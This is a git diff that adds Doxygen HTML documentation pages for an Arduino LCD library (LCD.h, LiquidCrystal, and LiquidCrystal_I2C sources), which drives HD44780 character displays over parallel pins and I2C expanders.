+ + + + diff --git a/libraries/LiquidCrystal/docs/html/_l_c_d_8h_source.html b/libraries/LiquidCrystal/docs/html/_l_c_d_8h_source.html new file mode 100644 index 0000000..496e98e --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_l_c_d_8h_source.html @@ -0,0 +1,301 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h Source File + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created by Francisco Malpartida on 20/08/11.
+00003 // Copyright 2011 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This software is furnished "as is", without technical support, and with no 
+00007 // warranty, express or implied, as to its usefulness for any purpose.
+00008 //
+00009 // Thread Safe: No
+00010 // Extendable: Yes
+00011 //
+00012 // @file LCD.h
+00013 // This file implements a basic liquid crystal library that comes as standard
+00014 // in the Arduino SDK.
+00015 // 
+00016 // @brief 
+00017 // This is a basic implementation of the LiquidCrystal library of the
+00018 // Arduino SDK. This library is a refactored version of the one supplied
+00019 // in the Arduino SDK in such a way that it simplifies its extension
+00020 // to support other mechanism to communicate to LCDs such as I2C, Serial, SR, 
+00021 // The original library has been reworked in such a way that this will be
+00022 // the base class implementing all generic methods to command an LCD based
+00023 // on the Hitachi HD44780 and compatible chipsets.
+00024 //
+00025 // This base class is a pure abstract class and needs to be extended. As reference,
+00026 // it has been extended to drive 4 and 8 bit mode control, LCDs and I2C extension
+00027 // backpacks such as the I2CLCDextraIO using the PCF8574* I2C IO Expander ASIC.
+00028 //
+00029 // The functionality provided by this class and its base class is identical
+00030 // to the original functionality of the Arduino LiquidCrystal library.
+00031 //
+00032 // @version API 1.1.0
+00033 //
+00034 //
+00035 // @author F. Malpartida - fmalpartida@gmail.com
+00036 // ---------------------------------------------------------------------------
+00037 #ifndef _LCD_H_
+00038 #define _LCD_H_
+00039 
+00040 #if (ARDUINO <  100)
+00041 #include <WProgram.h>
+00042 #else
+00043 #include <Arduino.h>
+00044 #endif
+00045 
+00046 #include <inttypes.h>
+00047 #include <Print.h>
+00048 
+00049 
+00058 #ifdef __AVR__
+00059 #define FAST_MODE
+00060 #endif
+00061 
+00071 inline static void waitUsec ( uint16_t uSec )
+00072 {
+00073 #ifndef FAST_MODE
+00074    delayMicroseconds ( uSec );
+00075 #endif // FAST_MODE
+00076 }
+00077 
+00078 
+00086 // LCD Commands
+00087 // ---------------------------------------------------------------------------
+00088 #define LCD_CLEARDISPLAY        0x01
+00089 #define LCD_RETURNHOME          0x02
+00090 #define LCD_ENTRYMODESET        0x04
+00091 #define LCD_DISPLAYCONTROL      0x08
+00092 #define LCD_CURSORSHIFT         0x10
+00093 #define LCD_FUNCTIONSET         0x20
+00094 #define LCD_SETCGRAMADDR        0x40
+00095 #define LCD_SETDDRAMADDR        0x80
+00096 
+00097 // flags for display entry mode
+00098 // ---------------------------------------------------------------------------
+00099 #define LCD_ENTRYRIGHT          0x00
+00100 #define LCD_ENTRYLEFT           0x02
+00101 #define LCD_ENTRYSHIFTINCREMENT 0x01
+00102 #define LCD_ENTRYSHIFTDECREMENT 0x00
+00103 
+00104 // flags for display on/off and cursor control
+00105 // ---------------------------------------------------------------------------
+00106 #define LCD_DISPLAYON           0x04
+00107 #define LCD_DISPLAYOFF          0x00
+00108 #define LCD_CURSORON            0x02
+00109 #define LCD_CURSOROFF           0x00
+00110 #define LCD_BLINKON             0x01
+00111 #define LCD_BLINKOFF            0x00
+00112 
+00113 // flags for display/cursor shift
+00114 // ---------------------------------------------------------------------------
+00115 #define LCD_DISPLAYMOVE         0x08
+00116 #define LCD_CURSORMOVE          0x00
+00117 #define LCD_MOVERIGHT           0x04
+00118 #define LCD_MOVELEFT            0x00
+00119 
+00120 // flags for function set
+00121 // ---------------------------------------------------------------------------
+00122 #define LCD_8BITMODE            0x10
+00123 #define LCD_4BITMODE            0x00
+00124 #define LCD_2LINE               0x08
+00125 #define LCD_1LINE               0x00
+00126 #define LCD_5x10DOTS            0x04
+00127 #define LCD_5x8DOTS             0x00
+00128 
+00129 
+00130 // Define COMMAND and DATA LCD Rs (used by send method).
+00131 // ---------------------------------------------------------------------------
+00132 #define COMMAND                 0
+00133 #define DATA                    1
+00134 #define FOUR_BITS               2
+00135 
+00136 
+00143 #define HOME_CLEAR_EXEC      2000
+00144 
+00151 #define BACKLIGHT_OFF           0
+00152 
+00159 #define BACKLIGHT_ON          255
+00160 
+00161 
+00167 typedef enum { POSITIVE, NEGATIVE } t_backlighPol;
+00168 
+00169 class LCD : public Print 
+00170 {
+00171 public:
+00172    
+00179    LCD ( );
+00180    
+00196    virtual void begin(uint8_t cols, uint8_t rows, uint8_t charsize = LCD_5x8DOTS);
+00197    
+00208    void clear();
+00209    
+00221    void home();
+00222    
+00231    void noDisplay();
+00232    
+00242    void display();
+00243    
+00250    void noBlink();
+00251    
+00260    void blink();
+00261    
+00268    void noCursor();
+00269    
+00278    void cursor();
+00279    
+00287    void scrollDisplayLeft();
+00288    
+00296    void scrollDisplayRight();
+00297    
+00309    void leftToRight();
+00310    
+00322    void rightToLeft();
+00323    
+00330    void moveCursorLeft();
+00331    
+00332    
+00339    void moveCursorRight();
+00340    
+00354    void autoscroll();
+00355    
+00364    void noAutoscroll();
+00365    
+00382    void createChar(uint8_t location, uint8_t charmap[]);
+00383    
+00393    void setCursor(uint8_t col, uint8_t row);
+00394    
+00402    void backlight ( void );
+00403    
+00411    void noBacklight ( void );
+00412    
+00420    void on ( void );
+00421 
+00429    void off ( void );
+00430    
+00431    //
+00432    // virtual class methods
+00433    // --------------------------------------------------------------------------
+00444    virtual void setBacklightPin ( uint8_t value, t_backlighPol pol ) { };
+00445    
+00463    virtual void setBacklight ( uint8_t value ) { };
+00464    
+00476 #if (ARDUINO <  100)
+00477    virtual void write(uint8_t value);
+00478 #else
+00479    virtual size_t write(uint8_t value);
+00480 #endif
+00481    
+00482 #if (ARDUINO <  100)
+00483    using Print::write;
+00484 #else
+00485    using Print::write;
+00486 #endif   
+00487    
+00488 protected:
+00489    // Internal LCD variables to control the LCD shared between all derived
+00490    // classes.
+00491    uint8_t _displayfunction;  // LCD_5x10DOTS or LCD_5x8DOTS, LCD_4BITMODE or 
+00492                               // LCD_8BITMODE, LCD_1LINE or LCD_2LINE
+00493    uint8_t _displaycontrol;   // LCD base control command LCD on/off, blink, cursor
+00494                               // all commands are "ored" to its contents.
+00495    uint8_t _displaymode;      // Text entry mode to the LCD
+00496    uint8_t _numlines;         // Number of lines of the LCD, initialized with begin()
+00497    uint8_t _cols;             // Number of columns in the LCD
+00498    t_backlighPol _polarity;   // Backlight polarity
+00499    
+00500 private:
+00513    void command(uint8_t value);
+00514 
+00528 #if (ARDUINO <  100)
+00529    virtual void send(uint8_t value, uint8_t mode) { };
+00530 #else
+00531    virtual void send(uint8_t value, uint8_t mode) = 0;
+00532 #endif
+00533    
+00534 };
+00535 
+00536 #endif
+
+
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/_liquid_crystal_8cpp.html b/libraries/LiquidCrystal/docs/html/_liquid_crystal_8cpp.html new file mode 100644 index 0000000..c7ad311 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_liquid_crystal_8cpp.html @@ -0,0 +1,146 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.cpp File Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.cpp File Reference
+
+
+
#include <stdio.h>
+#include <string.h>
+#include <inttypes.h>
+#include <WProgram.h>
+#include "LiquidCrystal.h"
+
+

Go to the source code of this file.

+ + + + + +

+Defines

#define LCD_4BIT   1
#define LCD_8BIT   0
#define LCD_NOBACKLIGHT   0xFF
+

Define Documentation

+ +
+
+ + + + +
#define LCD_4BIT   1
+
+
+ +

Definition at line 45 of file LiquidCrystal.cpp.

+ +
+
+ +
+
+ + + + +
#define LCD_8BIT   0
+
+
+ +

Definition at line 46 of file LiquidCrystal.cpp.

+ +
+
+ +
+
+ + + + +
#define LCD_NOBACKLIGHT   0xFF
+
+
+ +

Definition at line 42 of file LiquidCrystal.cpp.

+ +
+
+
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/_liquid_crystal_8cpp_source.html b/libraries/LiquidCrystal/docs/html/_liquid_crystal_8cpp_source.html new file mode 100644 index 0000000..1760c1c --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_liquid_crystal_8cpp_source.html @@ -0,0 +1,383 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.cpp Source File + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.cpp
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created by Francisco Malpartida on 20/08/11.
+00003 // Copyright 2011 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This software is furnished "as is", without technical support, and with no 
+00007 // warranty, express or implied, as to its usefulness for any purpose.
+00008 //
+00009 // Thread Safe: No
+00010 // Extendable: Yes
+00011 //
+00012 // @file LiquidCrystal.cpp
+00013 // This file implements a basic liquid crystal library that comes as standard
+00014 // in the Arduino SDK.
+00015 // 
+00016 // @brief 
+00017 // This is a basic implementation of the LiquidCrystal library of the
+00018 // Arduino SDK. The original library has been reworked in such a way that 
+00019 // this class implements the all methods to command an LCD based
+00020 // on the Hitachi HD44780 and compatible chipsets using the parallel port of
+00021 // the LCD (4 bit and 8 bit).
+00022 //
+00023 // The functionality provided by this class and its base class is identical
+00024 // to the original functionality of the Arduino LiquidCrystal library.
+00025 //
+00026 //
+00027 // @author F. Malpartida - fmalpartida@gmail.com
+00028 // ---------------------------------------------------------------------------
+00029 #include <stdio.h>
+00030 #include <string.h>
+00031 #include <inttypes.h>
+00032 
+00033 #if (ARDUINO <  100)
+00034 #include <WProgram.h>
+00035 #else
+00036 #include <Arduino.h>
+00037 #endif
+00038 #include "LiquidCrystal.h"
+00039 
+00040 // CONSTANT  definitions
+00041 // ---------------------------------------------------------------------------
+00042 #define LCD_NOBACKLIGHT 0xFF
+00043 
+00044 // LCD driver configuration (4bit or 8bit driver control)
+00045 #define LCD_4BIT                1
+00046 #define LCD_8BIT                0
+00047 
+00048 // STATIC helper functions
+00049 // ---------------------------------------------------------------------------
+00050 
+00051 
+00052 // CONSTRUCTORS
+00053 // ---------------------------------------------------------------------------
+00054 
+00055 LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t enable,
+00056                              uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+00057                              uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)
+00058 {
+00059    init(LCD_8BIT, rs, 255, enable, d0, d1, d2, d3, d4, d5, d6, d7);
+00060 }
+00061 
+00062 LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable,
+00063                              uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+00064                              uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)
+00065 {
+00066    init(LCD_8BIT, rs, rw, enable, d0, d1, d2, d3, d4, d5, d6, d7);
+00067 }
+00068 
+00069 LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable,
+00070                              uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3)
+00071 {
+00072    init(LCD_4BIT, rs, rw, enable, d0, d1, d2, d3, 0, 0, 0, 0);
+00073 }
+00074 
+00075 LiquidCrystal::LiquidCrystal(uint8_t rs,  uint8_t enable,
+00076                              uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3)
+00077 {
+00078    init(LCD_4BIT, rs, 255, enable, d0, d1, d2, d3, 0, 0, 0, 0);
+00079 }
+00080 
+00081 // Contructors with backlight control
+00082 LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t enable,
+00083                              uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+00084                              uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7,
+00085                              uint8_t backlightPin, t_backlighPol pol)
+00086 {
+00087    init(LCD_8BIT, rs, 255, enable, d0, d1, d2, d3, d4, d5, d6, d7);
+00088    setBacklightPin ( backlightPin, pol );
+00089 }
+00090 
+00091 LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable,
+00092                              uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+00093                              uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7,
+00094                              uint8_t backlightPin, t_backlighPol pol)
+00095 {
+00096    init(LCD_8BIT, rs, rw, enable, d0, d1, d2, d3, d4, d5, d6, d7);
+00097    setBacklightPin ( backlightPin, pol );
+00098 }
+00099 
+00100 LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable,
+00101                              uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+00102                              uint8_t backlightPin, t_backlighPol pol)
+00103 {
+00104    init(LCD_4BIT, rs, rw, enable, d0, d1, d2, d3, 0, 0, 0, 0);
+00105    setBacklightPin ( backlightPin, pol );
+00106 }
+00107 
+00108 LiquidCrystal::LiquidCrystal(uint8_t rs, uint8_t enable,
+00109                              uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+00110                              uint8_t backlightPin, t_backlighPol pol)
+00111 {
+00112    init(LCD_4BIT, rs, 255, enable, d0, d1, d2, d3, 0, 0, 0, 0);
+00113    setBacklightPin ( backlightPin, pol );
+00114 }
+00115 
+00116 // PUBLIC METHODS
+00117 // ---------------------------------------------------------------------------
+00118 
+00119 /************ low level data pushing commands **********/
+00120 //
+00121 // send
+00122 void LiquidCrystal::send(uint8_t value, uint8_t mode) 
+00123 {
+00124    // Only interested in COMMAND or DATA
+00125    digitalWrite( _rs_pin, ( mode == DATA ) );
+00126    
+00127    // if there is a RW pin indicated, set it low to Write
+00128    // ---------------------------------------------------
+00129    if (_rw_pin != 255) 
+00130    { 
+00131       digitalWrite(_rw_pin, LOW);
+00132    }
+00133    
+00134    if ( mode != FOUR_BITS )
+00135    {   
+00136       if ( (_displayfunction & LCD_8BITMODE ) )
+00137       {
+00138          writeNbits(value, 8); 
+00139       } 
+00140       else 
+00141       {
+00142          writeNbits ( value >> 4, 4 );
+00143          writeNbits ( value, 4 );
+00144       }
+00145    } 
+00146    else 
+00147    {
+00148       writeNbits ( value, 4 );
+00149    }
+00150    waitUsec ( EXEC_TIME ); // wait for the command to execute by the LCD
+00151 }
+00152 
+00153 //
+00154 // setBacklightPin
+00155 void LiquidCrystal::setBacklightPin ( uint8_t pin, t_backlighPol pol )
+00156 {
+00157    pinMode ( pin, OUTPUT );       // Difine the backlight pin as output
+00158    _backlightPin = pin;
+00159    _polarity = pol;
+00160    setBacklight(BACKLIGHT_OFF);   // Set the backlight low by default
+00161 }
+00162 
+00163 //
+00164 // setBackligh
+00165 void LiquidCrystal::setBacklight ( uint8_t value )
+00166 {
+00167    // Check if there is a pin assigned to the backlight
+00168    // ---------------------------------------------------
+00169    if ( _backlightPin != LCD_NOBACKLIGHT )
+00170    {
+00171       // Check if the pin is associated to a timer, i.e. PWM
+00172       // ---------------------------------------------------
+00173       if(digitalPinToTimer(_backlightPin) != NOT_ON_TIMER)
+00174       {
+00175          // Check for control polarity inversion
+00176          // ---------------------------------------------------
+00177          if ( _polarity == POSITIVE )
+00178          {
+00179             analogWrite ( _backlightPin, value );
+00180          }
+00181          else 
+00182          {
+00183             analogWrite ( _backlightPin, 255 - value );
+00184          }
+00185       }
+00186       // Not a PWM pin, set the backlight pin for POSI or NEG
+00187       // polarity
+00188       // --------------------------------------------------------
+00189       else if (((value > 0) && (_polarity == POSITIVE)) ||
+00190                ((value == 0) && (_polarity == NEGATIVE)))
+00191       {
+00192          digitalWrite( _backlightPin, HIGH);
+00193       }
+00194       else
+00195       {
+00196          digitalWrite( _backlightPin, LOW);
+00197       }
+00198    }
+00199 }
+00200 
+00201 // PRIVATE METHODS
+00202 // ---------------------------------------------------------------------------
+00203 
+00204 
+00205 // init
+00206 void LiquidCrystal::init(uint8_t fourbitmode, uint8_t rs, uint8_t rw, uint8_t enable,
+00207                          uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+00208                          uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7)
+00209 {
+00210    uint8_t i;
+00211    
+00212    // Initialize the IO pins
+00213    // -----------------------
+00214    
+00215    _rs_pin = rs;
+00216    _rw_pin = rw;
+00217    _enable_pin = enable;
+00218    
+00219    _data_pins[0] = d0;
+00220    _data_pins[1] = d1;
+00221    _data_pins[2] = d2;
+00222    _data_pins[3] = d3; 
+00223    _data_pins[4] = d4;
+00224    _data_pins[5] = d5;
+00225    _data_pins[6] = d6;
+00226    _data_pins[7] = d7;
+00227    
+00228    // Initialize the IO port direction to OUTPUT
+00229    // ------------------------------------------
+00230    
+00231    for ( i = 0; i < 4; i++ )
+00232    {
+00233       pinMode ( _data_pins[i], OUTPUT );
+00234    }
+00235    
+00236    // Initialize the rest of the ports if it is an 8bit controlled LCD
+00237    // ----------------------------------------------------------------
+00238    
+00239    if ( !fourbitmode )
+00240    {
+00241       for ( i = 4; i < 8; i++ )
+00242       {
+00243          pinMode ( _data_pins[i], OUTPUT );
+00244       }
+00245    }
+00246    pinMode(_rs_pin, OUTPUT);
+00247    
+00248    // we can save 1 pin by not using RW. Indicate by passing 255 instead of pin#
+00249    if (_rw_pin != 255) 
+00250    { 
+00251       pinMode(_rw_pin, OUTPUT);
+00252    }
+00253    
+00254    pinMode(_enable_pin, OUTPUT);
+00255    
+00256    // Initialise displaymode functions to defaults: LCD_1LINE and LCD_5x8DOTS
+00257    // -------------------------------------------------------------------------
+00258    if (fourbitmode)
+00259       _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x8DOTS;
+00260    else 
+00261       _displayfunction = LCD_8BITMODE | LCD_1LINE | LCD_5x8DOTS;
+00262    
+00263    // Now we pull both RS and R/W low to begin commands
+00264    digitalWrite(_rs_pin, LOW);
+00265    digitalWrite(_enable_pin, LOW);
+00266    
+00267    if (_rw_pin != 255) 
+00268    { 
+00269       digitalWrite(_rw_pin, LOW);
+00270    }
+00271    
+00272    // Initialise the backlight pin no nothing
+00273    _backlightPin = LCD_NOBACKLIGHT;
+00274    _polarity = POSITIVE;
+00275 }
+00276 
+00277 //
+00278 // pulseEnable
+00279 void LiquidCrystal::pulseEnable(void) 
+00280 {
+00281    // There is no need for the delays, since the digitalWrite operation
+00282    // takes longer.
+00283    digitalWrite(_enable_pin, HIGH);   
+00284    waitUsec(1);          // enable pulse must be > 450ns   
+00285    digitalWrite(_enable_pin, LOW);
+00286 }
+00287 
+00288 //
+00289 // write4bits
+00290 void LiquidCrystal::writeNbits(uint8_t value, uint8_t numBits) 
+00291 {
+00292    for (uint8_t i = 0; i < numBits; i++) 
+00293    {
+00294       digitalWrite(_data_pins[i], (value >> i) & 0x01);
+00295    }
+00296    pulseEnable();
+00297 }
+00298 
+00299 
+
+
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/_liquid_crystal_8h.html b/libraries/LiquidCrystal/docs/html/_liquid_crystal_8h.html new file mode 100644 index 0000000..9a8ca65 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_liquid_crystal_8h.html @@ -0,0 +1,117 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h File Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h File Reference
+
+
+
#include <inttypes.h>
+#include "LCD.h"
+#include "FastIO.h"
+
+

Go to the source code of this file.

+ + + + + +

+Classes

class  LiquidCrystal

+Defines

#define EXEC_TIME   37
+

Define Documentation

+ +
+
+ + + + +
#define EXEC_TIME   37
+
+
+

Command execution time on the LCD. This defines how long a command takes to execute by the LCD. The time is expressed in micro-seconds.

+ +

Definition at line 42 of file LiquidCrystal.h.

+ +
+
+
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/_liquid_crystal_8h_source.html b/libraries/LiquidCrystal/docs/html/_liquid_crystal_8h_source.html new file mode 100644 index 0000000..6df7f1e --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_liquid_crystal_8h_source.html @@ -0,0 +1,176 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h Source File + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal.h
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created by Francisco Malpartida on 20/08/11.
+00003 // Copyright 2011 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This software is furnished "as is", without technical support, and with no 
+00007 // warranty, express or implied, as to its usefulness for any purpose.
+00008 //
+00009 // Thread Safe: No
+00010 // Extendable: Yes
+00011 //
+00012 // @file LiquidCrystal.h
+00013 // This file implements a basic liquid crystal library that comes as standard
+00014 // in the Arduino SDK.
+00015 // 
+00016 // @brief 
+00017 // This is a basic implementation of the LiquidCrystal library of the
+00018 // Arduino SDK. The original library has been reworked in such a way that 
+00019 // this class implements the all methods to command an LCD based
+00020 // on the Hitachi HD44780 and compatible chipsets using the parallel port of
+00021 // the LCD (4 bit and 8 bit).
+00022 //
+00023 //
+00024 //
+00025 // @author F. Malpartida - fmalpartida@gmail.com
+00026 // ---------------------------------------------------------------------------
+00027 #ifndef LiquidCrystal_4bit_h
+00028 #define LiquidCrystal_4bit_h
+00029 
+00030 #include <inttypes.h>
+00031 
+00032 #include "LCD.h"
+00033 #include "FastIO.h"
+00034 
+00035 
+00042 #define EXEC_TIME 37
+00043 
+00044 class LiquidCrystal : public LCD
+00045 {
+00046 public:
+00053    LiquidCrystal(uint8_t rs, uint8_t enable,
+00054                  uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+00055                  uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7);
+00056    LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable,
+00057                  uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+00058                  uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7);
+00059    
+00060    // Constructors with backlight control
+00061    LiquidCrystal(uint8_t rs, uint8_t enable,
+00062                  uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+00063                  uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7,
+00064                  uint8_t backlightPin, t_backlighPol pol);
+00065    LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable,
+00066                  uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+00067                  uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7,
+00068                  uint8_t backlightPin, t_backlighPol pol);   
+00075    LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable,
+00076                  uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3);
+00077    LiquidCrystal(uint8_t rs, uint8_t enable,
+00078                  uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3);
+00079    
+00080    // Constructors with backlight control
+00081    LiquidCrystal(uint8_t rs, uint8_t rw, uint8_t enable,
+00082                  uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+00083                  uint8_t backlightPin, t_backlighPol pol);
+00084    LiquidCrystal(uint8_t rs, uint8_t enable,
+00085                  uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+00086                  uint8_t backlightPin, t_backlighPol pol);
+00099    virtual void send(uint8_t value, uint8_t mode);
+00100    
+00109    void setBacklightPin ( uint8_t pin, t_backlighPol pol );
+00110    
+00125    void setBacklight ( uint8_t value );
+00126    
+00127 private:
+00128    
+00134    void init(uint8_t fourbitmode, uint8_t rs, uint8_t rw, uint8_t enable,
+00135              uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3,
+00136              uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7);
+00137    
+00144    void writeNbits(uint8_t value, uint8_t numBits);
+00145    
+00152    void pulseEnable();
+00153    
+00154    uint8_t _rs_pin;       // LOW: command.  HIGH: character.
+00155    uint8_t _rw_pin;       // LOW: write to LCD.  HIGH: read from LCD.
+00156    uint8_t _enable_pin;   // activated by a HIGH pulse.
+00157    uint8_t _data_pins[8]; // Data pins.
+00158    uint8_t _backlightPin; // Pin associated to control the LCD backlight
+00159 };
+00160 
+00161 #endif
+
+
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/_liquid_crystal___i2_c_8cpp.html b/libraries/LiquidCrystal/docs/html/_liquid_crystal___i2_c_8cpp.html new file mode 100644 index 0000000..8bc6c3b --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_liquid_crystal___i2_c_8cpp.html @@ -0,0 +1,247 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.cpp File Reference + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.cpp File Reference
+
+
+
#include <WProgram.h>
+#include <inttypes.h>
+#include "I2CIO.h"
+#include "LiquidCrystal_I2C.h"
+
+

Go to the source code of this file.

+ + + + + + + + + + + +

+Defines

#define D4   0
#define D5   1
#define D6   2
#define D7   3
#define EN   6
#define LCD_BACKLIGHT   0xFF
#define LCD_NOBACKLIGHT   0x00
#define RS   4
#define RW   5
+

Define Documentation

+ +
+
+ + + + +
#define D4   0
+
+
+

LCD dataline allocation this library only supports 4 bit LCD control mode. D4, D5, D6, D7 LCD data lines pin mapping of the extender module

+ +

Definition at line 88 of file LiquidCrystal_I2C.cpp.

+ +
+
+ +
+
+ + + + +
#define D5   1
+
+
+ +

Definition at line 89 of file LiquidCrystal_I2C.cpp.

+ +
+
+ +
+
+ + + + +
#define D6   2
+
+
+ +

Definition at line 90 of file LiquidCrystal_I2C.cpp.

+ +
+
+ +
+
+ + + + +
#define D7   3
+
+
+ +

Definition at line 91 of file LiquidCrystal_I2C.cpp.

+ +
+
+ +
+
+ + + + +
#define EN   6
+
+
+

Enable bit of the LCD Defines the IO of the expander connected to the LCD Enable

+ +

Definition at line 66 of file LiquidCrystal_I2C.cpp.

+ +
+
+ +
+
+ + + + +
#define LCD_BACKLIGHT   0xFF
+
+
+

LCD_BACKLIGHT BACKLIGHT MASK used when backlight is on

+ +

Definition at line 55 of file LiquidCrystal_I2C.cpp.

+ +
+
+ +
+
+ + + + +
#define LCD_NOBACKLIGHT   0x00
+
+
+

LCD_NOBACKLIGHT NO BACKLIGHT MASK

+ +

Definition at line 48 of file LiquidCrystal_I2C.cpp.

+ +
+
+ +
+
+ + + + +
#define RS   4
+
+
+

Register bit of the LCD Defines the IO of the expander connected to the LCD Register select pin

+ +

Definition at line 80 of file LiquidCrystal_I2C.cpp.

+ +
+
+ +
+
+ + + + +
#define RW   5
+
+
+

Read/Write bit of the LCD Defines the IO of the expander connected to the LCD Rw pin

+ +

Definition at line 73 of file LiquidCrystal_I2C.cpp.

+ +
+
+
+ + + + +
+ +
+ + + + diff --git a/libraries/LiquidCrystal/docs/html/_liquid_crystal___i2_c_8cpp_source.html b/libraries/LiquidCrystal/docs/html/_liquid_crystal___i2_c_8cpp_source.html new file mode 100644 index 0000000..2820ddd --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/_liquid_crystal___i2_c_8cpp_source.html @@ -0,0 +1,344 @@ + + + + +LCD Library: /Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.cpp Source File + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.2.1
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+
/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LiquidCrystal_I2C.cpp
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created by Francisco Malpartida on 20/08/11.
+00003 // Copyright 2011 - Under creative commons license 3.0:
